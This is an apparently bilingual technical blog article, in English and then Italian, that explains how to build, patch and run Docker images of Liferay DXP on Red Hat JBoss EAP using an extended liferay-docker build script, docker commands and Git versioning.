The figure below shows the structure of the newly created file system and what it will be mounted as Docker Volume, as indicated by the command shown in Console 5. Note that the deploy and directories are also part of the layout scripts, which are respectively dedicated to hot-deploy modules or bundles and running Liferay pre-start scripts.

Figure 15 - Layout file system for Docker Liferay image configuration to mount as Docker Volume

# Running Liferay with the connection to the Oracle database
$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v $(pwd):/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3

Console 5 - Running the Liferay image with the Docker Volume to apply the connection configuration to the Oracle database

The figure below highlights the copying of the configuration files to the file system of the container that have been prepared previously.

Figure 16 - Evidence of copying the configuration files from the local file system to that of the container

6.2. Liferay Fix Pack installation

There is the possibility to install a Fix Pack during the start-up of the container. In chapter 5. How to create the image, we explained how install a Fix Pack during the image creation process.

Applying a Fix Pack on an existing image can be an advantage in if you want to easily check the "goodness" of the Fix Pack, especially in those cases where the control of any regressions on custom software.

The requirement for installing the Fix Pack in this way is presence of the Patching Tool installation on the base image to which it is intended apply the Fix Pack (see 5.2. Patching Tool Installation) and the configuration of the container using Docker Volumes (see 6.1. Using Docker Volume). The patching directory must then be added to the file system layout inside which to place the zip file of the Fix Pack. The figure below shows how the directory was added to the previous file system layout patching and added the Fix Pack file we want to install.

Figure 17 - File system layout for Fix Pack application at the start-up of the Liferay Docker image

By running the command shown below, this time, in addition to applying the configuration for connection to Oracle, before Liferay is started, the Fix Pack residing inside the patching directory will be applied.

# Running Liferay with Fix Pack application
$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v $(pwd):/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-fp-8

Console 6 - Running the Liferay image with Docker Volume to apply the Fix Pack

From the Docker container start logs, you should see the application of the Fix Pack and then start the Liferay portal. The following figure it shows an example of application of the Fix Pack.

Figure 18 - Application of the Fix Pack during the start-up of the Liferay image container

To make sure of the successful and correct installation of the Fix Pack, just gain access to the machine and then use the ./patching-tool.sh info command (from the Patching Tool installation directory) to verify that the Fix Pack for which installation was requested is present on the system.

Figure 19 - Verifying that the Fix Pack has been installed using the patching-tool.sh info command

6.3 Liferay Hotfix and Security Fix Pack installation

In the same way as you can install the Liferay Fix Pack during the start-up of the container, it is also possible to do it for Hotfix and Security Fix Pack. The indications described in 5.3 remain valid. Liferay Fix Pack installation.

7. A real scenario

Keeping in mind what is described extensively in chapter 5. How to create image, we will see what are the steps to create your own Docker image Liferay + JBoss EAP, assuming the following scenario.

Let's say we want to build a Liferay DXP 7.2 SP 2 Docker image with JBoss EAP 7.2.0 as application server and want to apply the Liferay Fix Pack dxp-8-7210 and the patch 7.2.9 JBoss EAP. To obtain this result it is necessary proceed with the steps shown in the diagram shown below.

Figure 20 - Essential steps for creating Docker Liferay DXP + JBoss EAP image

We assume that we have successfully performed the first step and the second step, for which I recommend to review chapters 3. Requirements and 4. Download dependencies. For the rest of the steps, execute the commands indicated in order from the console (Bash).

# Step 3.1 Installing the liferay-docker project extension
#  - The zip file of the project from the network via URL https://github.com/smclab/liferay-docker/archive/v1.0.0.zip
$ unzip ~/Downloads/liferay-docker-1.0.0.zip

# Step 3.2 Initializing the Git Repository
#  - Replace the Git repository URL with your own
#  - Give the branch a name that is possibly explanatory
$ cd liferay-docker-1.0.0
$ git init
$ git add .
$ git remote add origin https://github.com/smclab/liferay-docker.git
$ git commit -m "Initial import liferay-docker image builder"
$ git checkout -b build/liferay-dxp-7.2.10-fp-8

# Step 3.3 Preparing the directory that will contain the bundles
$ cp -a ~/Downloads/bundles .

# Step 4 Running the image build process
#  - specify the name of your repository (in this case replace amusarra/liferay-dxp)
#  - the version of the docker image tag should be as explanatory as possible.
#    In this case it is liferay-dxp-7.2.10-fp-8 which corresponds with the branch name
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap

Console 7 - Essential Steps for Creating Docker Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9

At the end of step 4, then the execution of the build_local_image.sh script, using the docker images command you can verify the new image just created (see figure below).

Figure 21 - Docker image of Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9

The execution of step 3.2 is completely optional for creation purposes Docker image. The advantage of initializing the build environment as Git repository, lies in the fact that once it is established that it works of the newly created image, after performing the commit and push operations, we can build the specific version at any time image.

Another advantage of using Git for versioning of image creation it is immediately evident when using the docker image inspect <imageid> command. The Docker image labels report information about the commit hash and the url of the repository, as shown in the figure below.

Figure 22 - Output part of the docker image inspect command with references to Git (or VCS) highlighted

# Step 1 Clone of the liferay-docker repository and checkout of the version branch
#  - Replace the Git repository URL with your own
$ git clone -b build/liferay-dxp-7.2.10-fp-8 https://github.com/smclab/liferay-docker.git

# Step 2 Running the image build process
$ cd liferay-docker
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap

Console 8 - Creating a specific version of the Liferay Docker image starting from the Git repository

In order to perform a verification of the newly created image, it is enough run the docker run -it {<imageid> | <image name>} command. From the logs shown in console we can check if the Liferay instance does not go up correctly.

Using the docker ps command, and looking at the status column we should see initially the health: starting value which should become healthy when the Liferay service is on, as shown by the two figures below.

Figure 23 - Verification of the Liferay service after the creation of the container. Service in the starting phase

Figure 24 - Checking the Liferay service after creating the container. Active service

Once you have made all the checks about the goodness of the image, it is possible proceed with the commit and push operation of the modified files on the Git repository and then by pushing the newly created image to the Docker repository.

For subsequent image creation operations, operation is simplified whereas it is no longer necessary to install the liferay-docker extension at least initialize the Git repository. Console 9 shows the operations to follow in case you have already done other builds.

# Step 1 Clone the liferay-docker repository and create a new Liferay image build branch
#  - Replace the Git repository URL with your own
$ git clone https://github.com/smclab/liferay-docker.git
$ git checkout -b build/liferay-dxp-7.2.10-sp-3

# Step 2 Prepare the directory that will contain the bundles for Liferay DXP 7.2 SP 3
$ cd liferay-docker
$ cp -a ~/Downloads/bundles .

# Step 3 Running the image build process
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp-3 no-push jboss-eap

Console 9 - Procedure to start creating a new Liferay Docker image starting from the Git repository

8. Creating an image with Liferay DXP 7.3

Here we are! As promised at the beginning of the article, let's see how to create the Docker image using the new version of Liferay DXP released October 13, 2020.

The procedure remains absolutely unchanged (see Figure 20 - Essential steps for creating the Docker Liferay DXP + JBoss EAP image). The first step is download the Liferay DXP 7.3 files to download from the Liferay Customer Portal.

The files are those indicated below.

Liferay DXP Dependencies: liferay-dxp-dependencies-7.3.10-ga1-20200930160533946.zip
Liferay DXP OSGi Dependencies: liferay-dxp-osgi-7.3.10-ga1-20200930160533946.zip
Liferay DXP WAR: liferay-dxp-7.3.10-ga1-20200930160533946.war
Liferay Patching Tool: patching-tool-2.0.15.zip

The Patching Tool you should have already downloaded in case you have made one of previous builds for Liferay DXP 7.2. As for version 7.3 you don't need to download anything else; just released, so there are no fix packs too if recommended, install the Patching Tool anyway. The figure below shows the download section for Liferay DXP 7.3, highlighting the file types mentioned download.

Figure 25 - Liferay DXP file download section 7.3

From the Liferay DXP 7.3 Compatibility Matrix document we can see the compatibility with the Red Hat JBoss EAP 7.3 Application Server. It is reasonable to think about installing Liferay DXP 7.3 on JBoss EAP 7.3.

Figure 26 - Application Server Section - Liferay DXP Compatibility Matrix 7.3

Then let's go to the Red Hat Customer Portal to download the following files concerning the new version of JBoss EAP 7.3.

Red Hat JBoss Enterprise Application Platform 7.3: jboss-eap-7.3.0.zip
Red Hat JBoss Enterprise Application Platform 7.3 Patch: jboss-eap-7.3.3-patch.zip

The two figures below show the files to download concerning JBoss EAP 7.3.

Figure 27 - Red Hat JBoss Enterprise Application Platform download section 7.3

Figure 28 - Red Hat JBoss Enterprise Application Platform 7.3 Patch download section

New version of JBoss and new configuration template (see 5.1. Template of JBoss EAP configuration) of which you will find the related files on the project extension liferay-docker.

As for Liferay, there are no substantial changes to be made compared to the previous version, the documentation is always valid Installing on JBoss EAP. The figure below shows the structure of the configuration template for JBoss EAP 7.3.

Figure 29 - JBoss EAP configuration template directory structure 7.3

Regarding the specific configuration of Liferay, the only change made with the new version concerns the module.xml file, to which two have been added new resources, com.liferay.petra.sql.dsl.api.jar andcom.liferay.petra.sql.dsl.spi.jar.

<module name="com.liferay.portal" xmlns="urn:jboss:module:1.8">
    <resources>
        <resource-root path="com.liferay.petra.concurrent.jar" />
        <resource-root path="com.liferay.petra.executor.jar" />
        <resource-root path="com.liferay.petra.function.jar" />
        <resource-root path="com.liferay.petra.io.jar" />
        <resource-root path="com.liferay.petra.lang.jar" />
        <resource-root path="com.liferay.petra.memory.jar" />
        <resource-root path="com.liferay.petra.nio.jar" />
        <resource-root path="com.liferay.petra.process.jar" />
        <resource-root path="com.liferay.petra.reflect.jar" />
        <resource-root path="com.liferay.petra.sql.dsl.api.jar" />
        <resource-root path="com.liferay.petra.sql.dsl.spi.jar" />
        <resource-root path="com.liferay.petra.string.jar" />
        <resource-root path="com.liferay.registry.api.jar" />
        <resource-root path="portal-kernel.jar" />
        <resource-root path="portlet.jar" />
        <resource-root path="hsql.jar" />
        <resource-root path="ojdbc8.jar" />
    </resources>
    <dependencies>
        <module name="javax.api" />
        <module name="javax.mail.api" />
        <module name="javax.servlet.api" />
        <module name="javax.servlet.jsp.api" />
        <module name="javax.transaction.api" />
    </dependencies>
</module>

Source Code 1 - Configuration of the module.xml file for Liferay 7.3

At this point we should have all the required bundles at our disposal, we can then proceed with the creation of the image. The expected result it will be the Liferay DXP 7.3 GA1 image installed on JBoss EAP 7.3.

Assuming you have the liferay-docker project extension in the form of a Git repository (see 7. A real scenario), let's continue as indicated in Console 10 to get the new image.

# Step 1 Clone the liferay-docker repository and create a new Liferay image build branch
#  - Replace the Git repository URL with your own
$ git clone https://github.com/smclab/liferay-docker.git
$ git checkout -b build/liferay-dxp-7.3.10-ga1

# Step 2 Preparing the directory that will contain the bundles for Liferay DXP 7.3 GA 1
$ cd liferay-docker
$ cp -a ~/Downloads/bundles-dxp-73 .

# Step 3 Running the image build process
$ ./build_local_image.sh bundles-dxp-73 amusarra/liferay-dxp liferay-dxp-7.3.10-ga1 no-push jboss-eap

Console 10 - Procedure for creating the Liferay DXP 7.3 image installed on JBoss EAP 7.3

The first two figures below show you during the image creation process, patching JBoss EAP 7.3 and installing Patching Liferay tool.

Figure 30 - Applying Patch 7.3.3 to JBoss EAP 7.3

Figure 31 - Installation of Patching Tool 2.0.15

Using the docker images command you can check for presence on the newly created image system amusarra/liferay-dxp:liferay-dxp-7.3.10-ga1.

Figure 32 - New image just created of Liferay 7.3 DXP GA1

8.1. Test of the new Liferay DXP 7.3 image

Figure 33 - Liferay DXP container status check 7.3

We could for example connect to the container and subsequently verify through the JBoss EAP console if the patch has been applied.

Figure 34 - Check JBoss EAP version and Patch installed

If we tried to make a connection to the portal via the browser, it would come license installation required. I remember that the images thus created are unlicensed; To use the portal, you need to install the license file copying it into the deploy directory.

Figure 35 - Connection to the Liferay DXP portal 7.3

9. Resources

The extension of the liferay-docker project is available on the SMC GitHub repository.

To follow I leave a series of resources that are the reference point for contents of this article.

10. Conclusions

Welcome to the end! For beings who have come to the end of reading this article, I'm pretty sure you've found yourself in the situation of having to create an image of Liferay, where Liferay is installed on a Application Server other than Apache Tomcat, or that you are about to have to deal with this activity.

I have found myself several times in this situation, and the path I wanted to indicate with this article it is the one that I consider most advantageous, especially in terms of simplicity in the image creation phase and finally, the image as well obtained conforms to those produced by Liferay itself.

How did you approach this subject? Let's discuss it together.

Come creare immagini Docker Liferay DXP + Red Hat JBoss EAP

Wed, 21 Oct 2020 00:00:00 GMT

Docker è diventato sempre più popolare nel ciclo di vita di sviluppo odierno, fornendo un modo automatizzato per impacchettare il software e le sue dipendenze in un'unità standardizzata che può essere condivisa su più piattaforme. Per maggiori approfondimenti sull'argomento, consiglio una "puntatina" all'ampia documentazione di Docker.

Con questo articolo voglio prendervi per mano e portavi fino alla costruzione di un'immagine Docker di Liferay DXP installato su Red Hat JBoss EAP. Armatevi di pazienza perché la strada sarà un pochino lunga ma sono sicuro che all'arrivo rimarrete soddisfatti.

L'articolo è incentrato sulla versione 7.2 di Liferay DXP e sulla versione 7.2 di Red Hat JBoss EAP. Qualcuno di voi saprà che il 13 di ottobre 2020 è stata rilasciata la versione 7.3 di Liferay DXP, e sono sicuro che vi farà piacere sapere che ho dedicato l'ultimo capitolo alla creazione dell'immagine con quest'ultima versione di Liferay installata sull'ultima versione di JBoss EAP 7.3.

1. Le immagini Docker standard di Liferay

Liferay fornisce immagini ufficiali Docker per i seguenti prodotti. Queste immagini sono liberamente fruibili e pubblicate sul repository Docker Hub di Liferay. Ad ogni rilascio di prodotto è disponibile la relativa immagine Docker. La figura a seguire mostra appunto le ultime immagini Docker di Liferay DXP versione 7.3.

Figura 1 - Repository Docker Hub di Liferay

È possibile estrarre le immagini Docker di Liferay dalle risorse indicate in precedenza e gestirle in modo indipendente. Liferay Workspace, tuttavia, fornisce un modo semplice per integrare lo sviluppo Docker nel tuo flusso di lavoro esistente con attività o task Gradle preconfezionate.

Grazie al Liferay Workspace possiamo eseguire le seguenti attività.

Creazione di un container Docker basato su un'immagine standard fornita via Docker Hub.
Configurazione del container.
Interagire con il container.
Creazione di un'immagine Liferay personalizzata.

Tutte le informazioni di dettaglio sono disponibili sulla documentazione ufficiale di Liferay Leveraging Docker. I prossimi paragrafi descrivono in modo sintetico come sono organizzate le immagini prodotte da Liferay.

1.1. Tags

I tag seguono il formato {versione}-{data}. Versione indica la versione di Liferay DXP e data indica la data in cui è stata creata l'immagine Docker. I tag che seguono il formato {versione} puntano sempre all'ultimo tag che segue il formato {versione}-{data}.

Le immagini DXP sono fornite con una licenza di prova di 30 giorni. Le immagini più vecchie verranno eliminate regolarmente e saranno disponibili nuove immagini con una nuova licenza di prova di 30 giorni.

1.2. Runnings

Per avviare Liferay DXP, sostituisci {tag} ed esegui il comando docker run -it -p 8080:8080 liferay/dxp:{tag}

L'argomento -it consente di arrestare il container con la combinazione di tasti CTRL-C. Altrimenti, devi usare il comando docker kill {containerId} (o altri equivalenti) per fermare il container.

L'argomento -p 8080:8080 mappa la porta 8080 del container con la porta 8080 dell'host in modo da poter accedere a Liferay DXP utilizzando un browser.

1.3. Evironment Variables

È possibile ottimizzare i parametri della JVM di default impostando la variabile di ambiente LIFERAY_JVM_OPTS.

Puoi personalizzare il comportamento di Liferay DXP tramite variabili d'ambiente che fanno riferimento alle proprietà di configurazione definite sul file portal.properties. Ad esempio, se desideri configurare l'istanza Liferay solo per la lingua inglese e portoghese, puoi adottare una delle seguenti strategie:

creare il file portal-ext.properties con la voce locales.enabled=en_US, pt_BR;
impostare la variabile d'ambiente LIFERAY_LOCALES_PERIOD_ENABLED=en_US, pt_BR.

Le variabili d'ambiente hanno la precedenza su portal.properties. La rispettiva variabile d'ambiente di ciascuna proprietà è documentata all'interno del file portal.properties.

1.4. File System

Per testare rapidamente le modifiche senza creare una nuova immagine, mappare il file system dell'host al file system del contenitore.

Avvia il container con l'opzione -v $(pwd)/xyz123:/mnt/liferay per collegare $(pwd)/xyz123 nel sistema operativo host a /mnt/liferay sul container. Ricordo che PWD sta per Pathname Working Directory.

I file nella directory host $(pwd)/xyz123/files sono disponibili anche nella directory del contenitore /mnt/liferay/files e verranno copiati in /opt/liferay prima dell'avvio di Liferay DXP.

Ad esempio, se desideri modificare il file setenv.sh di Tomcat, inserisci le modifiche in $(pwd)/xyz123/files/tomcat/bin/setenv.sh, in questo modo il file setenv.sh verrà sovrascritto in /opt/liferay/tomcat/bin/setenv.sh prima dell'avvio di Liferay DXP.

1.5. Scripts

Tutti gli script nella directory del container /mnt/liferay/scripts verranno eseguiti prima dell'avvio di Liferay DXP. È possibile per esempio installare degli script che fanno pulizia delle directory di cache prima che il portale salga su. Posiziona i tuoi script in $(pwd)/xyz123/scripts.

1.6. Deploy

Copia i file in $(pwd)/xyz123/deploy sul sistema operativo host per installare i moduli (o bundle) su Liferay DXP in fase di runtime. La directory può essere utilizzata per installare il file della licenza, quest'ultima necessaria per poter utilizzare il prodotto.

2. Estensione del progetto liferay-docker

Liferay produce le proprie immagini Docker ufficiali tramite il progetto pubblicato su GitHub che sia chiama liferay-docker, progetto non molto diffuso al grande pubblico. Le immagini prodotte sono però esclusivamente create partendo dal bundle con Apache Tomcat.

Figura 2 - Home page del progetto liferay-docker su GitHub (https://github.com/liferay/liferay-docker)

La necessità è invece quella di realizzare un'immagine Docker in cui Liferay sia installato su JBoss EAP. È opportuno però creare la nuova immagine mantenendo i "servizi offerti" dalle immagini ufficiali prodotte da Liferay (vedi: file system, variabili di ambiente, supporto per l'esecuzione di script pre-start, etc.).

Per raggiungere quest'obiettivo basta estendere il progetto liferay-docker affinché sia possibile:

eseguire la build dell'immagine Docker in cui Liferay sia installato su JBoss EAP;
eseguire il push dell'immagine Docker creata verso un repository;
eseguire l'installazione del Patching Tool, Fix Pack, Hot Fix e Security Fix Pack di Liferay direttamente in fase di build;
eseguire l'installazione della Patch di JBoss EAP.

L'oggetto dell'estensione è lo script build_local_image.sh. Questo è responsabile dell'esecuzione delle operazioni indicate precedentemente, di cui, le ultime sono opzionali. Il diagramma mostrato dalla figura a seguire illustra le varie fasi del processo di costruzione dell'immagine Docker di Liferay.

La creazione dell'immagine Docker segue il processo d'installazione di Liferay su JBoss EAP così come descritto dal documento ufficiale di Liferay chiamato Installing on JBoss EAP.

Figura 3 - Processo di creazione dell'immagine Docker di Liferay DXP + JBoss EAP (https://github.com/liferay/liferay-docker)

3. Requisiti

Affinché sia possibile portare a termine con successo la creazione dell'immagine Docker, è necessario che siano rispettati una serie di requisiti software per la macchina dedicata all'operazione di build. I requisiti software da soddisfare sono i seguenti.

Sistema Operativo Unix/Linux/macOS. In alternativa è sufficiente avere la disponibilità di una shell Bash (versione 3.x).
Docker Engine 18.x o 19.x.
Git 2.x (opzionale).
JDK 1.8 0 11.

Per quanto riguarda Docker è possibile installare Docker Desktop sulla propria postazione di lavoro, disponibile sia per sistemi operativi Microsoft sia per sistemi operativi Apple. Consiglio l'installazione della versione stable evitando la versione edge, quest'ultima utile per sperimentare le ultime feature.

Nel caso aveste già installato Docker, verificare la versione presente sul sistema utilizzando il comando docker version accertandovi che la versione sia nel range indicato dai requisiti. A seguire è mostrato un esempio di output del comando. In questo caso la versione è la 19.03.13, quindi in linea con quanto richiesto.

Client: Docker Engine - Community
 Cloud integration  0.1.18
 Version:           19.03.13
 API version:       1.40
 Go version:        go1.13.15
 Git commit:        4484c46d9d
 Built:             Wed Sep 16 16:58:31 2020
 OS/Arch:           darwin/amd64
 Experimental:      false

Server: Docker Engine - Community
 Engine:
  Version:          19.03.13
  API version:      1.40 (minimum version 1.12)
  Go version:       go1.13.15
  Git commit:       4484c46d9d
  Built:            Wed Sep 16 17:07:04 2020
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          v1.3.7
  GitCommit:        8fba4e9a7d01810a393d5d25a3621dc101981175
 runc:
  Version:          1.0.0-rc10
  GitCommit:        dc9208a3303feef5b3839f4323d9beb36df0a9dd
 docker-init:
  Version:          0.18.0
  GitCommit:        fec3683

Console 1 - Output del comando docker version

Il software necessario alla creazione dell'immagine può essere scaricato come archivio liferay-docker-1.0.0.zip.

4. Download dipendenze

Il processo di creazione dell'immagine richiede che siano disponibili i seguenti bundle.

Liferay DXP WAR
Liferay DXP Dependencies
Liferay DXP OSGi Dependencies
Liferay Patching Tool
Liferay DXP Fix Pack (opzionale)
Liferay DXP Hot Fix (opzionale)
Liferay DXP Security Pack (opzionale)
Red Hat JBoss EAP
Red Hat JBoss EAP Patch (opzionale)

I primi cinque bundle in elenco riguardano Liferay e questi devono essere scaricati dal Customer Portal di Liferay, è quindi richiesto un account che sia abilitato all'accesso e download.

I bundle che riguardano, Fix Pack, Hot Fix e Security Pack di Liferay sono opzionali, necessari nel caso in cui vogliate applicare in fase di build dell'immagine Docker di Liferay una specifica Fix Pack, Hot Fix o Security Pack. La figura a seguire mostra la sezione di download del Customer Portal di Liferay.

Figura 4 - Sezione Download Fix Packs, Product/Service Packs e Security Fix Packs del Customer Portal di Liferay

Per quando riguarda il bundle di JBoss EAP, questo può essere scaricato in versione GA e le eventuali patch dal RedHat Customer Portal.

Figura 5 - Red Hat Customer Portal da dove scaricare il file zip dell'installazione e le eventuali patch

Per questo articolo, la versione di riferimento di Liferay è la DXP 7.2 SP 3 e quella di RedHat JBoss è la 7.2. La tabella a seguire mostra nel dettaglio l'elenco delle dipendenze richieste (e non quelle opzionali indicate nella precedente lista).

Nome artefatto	Nome file	Versione	Sorgente
Liferay DXP WAR	liferay-dxp-7.2.10.3-sp3-202009100727.war	7.2.10 SP 3	Liferay Customer Portal
Liferay DXP Dependencies	liferay-dxp-dependencies-7.2.10.3-sp3-202009100727.zip	7.2.10 SP 3	Liferay Customer Portal
Liferay DXP OSGi Dependencies	liferay-dxp-osgi-7.2.10.3-sp3-202009100727.zip	7.2.10 SP 3	Liferay Customer Portal
Liferay Patching Tool	patching-tool-2.0.15.zip	7.2.10 SP 3	Liferay Customer Portal
RedHat JBoss EAP	jboss-eap-7.2.0.zip	7.2.0 GA	RedHat Customer Portal

Tabella 1 - Lista dei bundle che devono essere scaricati prima d'iniziare la procedura di creazione immagine

5. Come creare l'immagine

Per creare l'immagine Docker è necessario installare l'estensione del progetto liferay-docker sulla macchina dedicata al processo di build. È inoltre essenziale aver eseguito il download dei bundle indicati in Tabella 1.

I passi basilari per procedere con la creazione dell'immagine sono:

installazione dell'estensione del progetto liferay-docker;
preparazione della directory che conterrà i bundle di Tabella 1;
esecuzione dello script build_local_image.sh.

Lo script build_local_image.sh che avvia il processo di creazione dell'immagine Docker Liferay + JBoss EAP, deve essere eseguito specificando i seguenti parametri:

il path relativo che contiene i bundle di Tabella 1;
il nome dell'immagine/repository Docker;
il nome del tag da assegnare all'immagine;
flag che indica se fare il push dell'immagine sul repository Docker (no-push | push);
nome dell'application server, il cui valore in questo caso è jboss-eap.

Eseguendo lo script senza fornire alcun parametro, saranno mostrate le modalità d'utilizzo del comando (vedi figura a seguire). Ricordo che lo script resta valido per eseguire la creazione d'immagini Liferay basate sul bundle Apache Tomcat di Liferay.

Figura 6 - Modalità d'uso dello script per il build delle immagini locali

La Console 2 mostra la sequenza dei comandi necessari per portare a termine con successo la creazione dell'immagine Docker di Liferay installato su JBoss EAP. Il processo di creazione dell'immagine potrebbe richiedere diversi minuti (tra 6 e 8 minuti su CPU: i7 decima generazione 1 Socket 2 Core, RAM: 16GB, Storage SSD).

# 1. Unzip dell'estensione del progetto liferay-docker
$ unzip ~/Downloads/liferay-docker-1.0.0.zip

# 2. Preparazione della directory che conterrà i bundle
$ cd liferay-docker-1.0.0
$ cp -a ~/Downloads/bundles .

# 3. Esecuzione del processo di build dell'immagine
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp3 no-push jboss-eap

Console 2 - Comandi per la creazione dell'immagine Docker di Liferay installato su JBoss EAP

Al termine dell'esecuzione dello script build_local_image.sh, utilizzando il comando docker images è possibile verificare la nuova immagine appena creata (vedi figura a seguire).

Figura 7 - Verifica della nuova immagine Docker Liferay DXP + JBoss EAP

Com'è possibile notare da quanto mostrato in figura, sono stati creati due tag che rispecchiano il pattern indicato in 1.1. Tags che puntano alla medesima immagine (vedi image id). L'immagine Docker così creata è pronta per essere utilizzata.

5.1. Template di configurazione JBoss EAP

JBoss EAP, sui cui è stato installato Liferay, ha ricevuto la configurazione base definita sul documento Installing on JBoss EAP. I file di configurazione base di JBoss EAP sono disponibili all'interno della directory $PROJECT_DIR/template/jboss-eap, così come mostrato nella figura a seguire.

Figura 8 - Struttura della directory template per i file di configurazione di JBoss EAP 7.2.0

La configurazione di base di JBoss EAP può essere eventualmente modificata secondo le proprie esigenze, così facendo già in fase di creazione dell'immagine è possibile applicare personalizzazioni alla configurazione base.

È consigliato applicare le personalizzazioni alla configurazione di JBoss EAP tramite la configurazione del container (vedi 1.3. Evironment Variables e 1.4. File System).

5.2. Installazione Patching Tool

Nel caso in cui si voglia installare il Patching Tool di Liferay sull'immagine da creare, basta scaricare dal Customer Portal di Liferay l'ultima versione del Patching Tool (per esempio: patching-tool-2.0.15.zip), e posizionare il file zip all'interno della directory contenente il resto dei bundle indicati in Tabella 1.

In fase di creazione dell'immagine, se il Patching Tool è presente, questo sarà installato all'interno della cosiddetta LIFERAY_HOME (vedi figura a seguire).

Figura 9 - Evidenza del Patching Tool installato in fase di creazione dell'immagine

Durante l'installazione del Patching Tool è eseguita l'operazione di auto-discovery che come conseguenza creerà il file default.properties all'interno della home directory del Patching Tool.

Per maggiori informazioni riguardo l'installazione e l'uso di questo strumento, fare riferimento al documento ufficiale di Liferay che si chiama Installing the Patching Tool.

Nota: In fase di creazione di una nuova immagine è consigliato partire sempre dall'ultima versione disponibile dei bundle Liferay. L'installazione del Patching Tool è essenziale per la creazione di un'immagine a cui applicare le ultime Fix Pack, Hot Fix o Security Fix rilasciate da Liferay. L'applicazione delle fix può essere anche eseguita successivamente alla creazione dell'immagine, per esempio, nel momento i cui sia creato un container Liferay.

5.3. Installazione Liferay Fix Pack

In fase di creazione dell'immagine è possibile applicare le Fix Pack rilasciate da Liferay. Prima di poter installare la Fix Pack è essenziale aver installato il Patching Tool (vedi 5.2. Installazione Patching Tool).

Nota: Quando si decide d'installare una Fix Pack è fondamentale accertarsi che la versione del Patching Tool installata sia compatibile con la Fix Pack che si vuole installare. Quest'informazione è riportata sulla sezione di download della Fix Pack stessa.

Figura 10 - Requisiti Patching Tool per l'installazione della Fix Pack

Per attivare l'installazione della Fix Pack in fase di creazione dell'immagine, è necessario scaricare la Fix Pack dal Customer Portal di Liferay e posizionare il file zip all'interno della directory contenente il resto dei bundle indicati in Tabella 1.

La figura a seguire mostra l'avvio dell'installazione della Fix Pack subito dopo l'installazione del Patching Tool, e in questo caso si tratta della Fix Pack liferay-fix-pack-dxp-8-7210.zip sulla versione di Liferay 7.2 DXP SP 2.

Figura 11 - Installazione Fix Pack durante la creazione dell'immagine Docker Liferay

5.4. Installazione Liferay Hotfix e Security Fix Pack

Così come per l'installazione della Fix Pack, anche Hotfix e Security Fix Pack seguono la stessa procedura d'installazione. Per attivare l'installazione in fase di creazione dell'immagine, è necessario scaricare i relativi file zip dal Customer Portal di Liferay e posizionarli all'interno della directory contenente il resto dei bundle indicati in Tabella 1.

5.5. Installazione Patch di JBoss EAP

Così come avviene per Liferay, anche per JBoss EAP nel processo di creazione dell'immagine Docker, se presente il file zip della patch, questa sarà applicata. La figura a seguire mostra l'applicazione della patch durante il processo di build. In questo caso è stata applicata la patch 7.2.9, questo comporta che la nuova versione di JBoss EAP sarà la 7.2.9.

Figura 12 - Applicazione della Patch su JBoss EAP 7.2.0 durante il processo di build dell'immagine

Quando l'istanza di Liferay è su, è possibile verificare la versione di JBoss EAP dai log stessi dell'application server oppure utilizzando i comandi version e patch info direttamente dalla CLI di JBoss EAP. La figura a seguire mostra il controllo della versione di JBoss EAP, che dopo l'applicazione della patch è passata dalla 7.2.0 alla 7.2.9.

Figura 13 - Verifica della versione e livello di patching di JBoss EAP

6. Eseguire l'immagine Docker Liferay DXP + JBoss EAP

Per avviare la nuova immagine Docker di Liferay, è possibile utilizzare i comandi standard di Docker. In Console 3 sono mostrati alcuni dei comandi standard per avviare la nuova immagine.

# Avvio dell'immagine amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 in modalità interattiva esponendo la porta HTTP 8080
$ docker run -it -p 8080:8080 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3

# Avvio dell'immagine amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 in modalità detached esponendo
# le porte 8000 (DEBUG), 8080 (HTTP) e 11311 (Gogo Shell)
$ docker run -d -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3

# Avvio dell'immagine amusarra/liferay-dxp:liferay72-dxp-dev in modalità detached esponendo
# le porte 8000 (DEBUG), 8080 (HTTP) e 11311 (Gogo Shell) e assegnando un nome al container
$ docker run -d --name liferay72jboss -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra:liferay-dxp-7.2.10-sp3

Console 3 - Comandi standard Docker per avviare l'immagine Docker Liferay

Quando l'immagine viene avviata è possibile vedere le seguenti informazioni che sono mostrate nel dettaglio dalla figura a seguire:

come ottenere la console del container appena creato;
la versione di JAVA utilizzata per avviare Liferay;
la situazione sul file system sul quale è possibile agire attraverso l'uso del Docker Volume.

Figura 14 - Log dell'avvio dell'immagine Docker di Liferay

6.1. Utilizzare Docker Volume

Per agire sulla configurazione di Liferay e di JBoss EAP, evitando così la creazione di nuove immagini, è possibile sfruttare i cosiddetti Docker Volumes montando il file system locale sul container in esecuzione, così come indicato nel capitolo 1.4. File System.

Nel caso in cui volessi per esempio configurare Liferay per utilizzare Oracle come RDBMS, la procedura da seguire è la seguente:

preparare il layout file system così come previsto dalle immagini standard di Liferay (vedi File System);
revisionare la configurazione di JBoss EAP:
- modificare il file di configurazione module.xml per aggiungere il riferimento al driver dell'RDBMS, che in questo caso è Oracle;
- copiare il driver JDBC Oracle sull'installazione di JBoss EAP;
aggiungere la configurazione di connessione al database tramite file di properties portal-ext.properties o tramite environment.

La Console 4 mostra i comandi per realizzare il file system layout che conterrà i file di configurazione necessari a connettere Liferay al database Oracle.

# 1. Preparazione del layout file system
$ mkdir liferay-with-jboss-docker-configuration
$ cd liferay-with-jboss-docker-configuration
$ mkdir deploy && mkdir scripts && mkdir files

# 2. Copia del file module.xml revisionato con il riferimento al driver JDBC Oracle
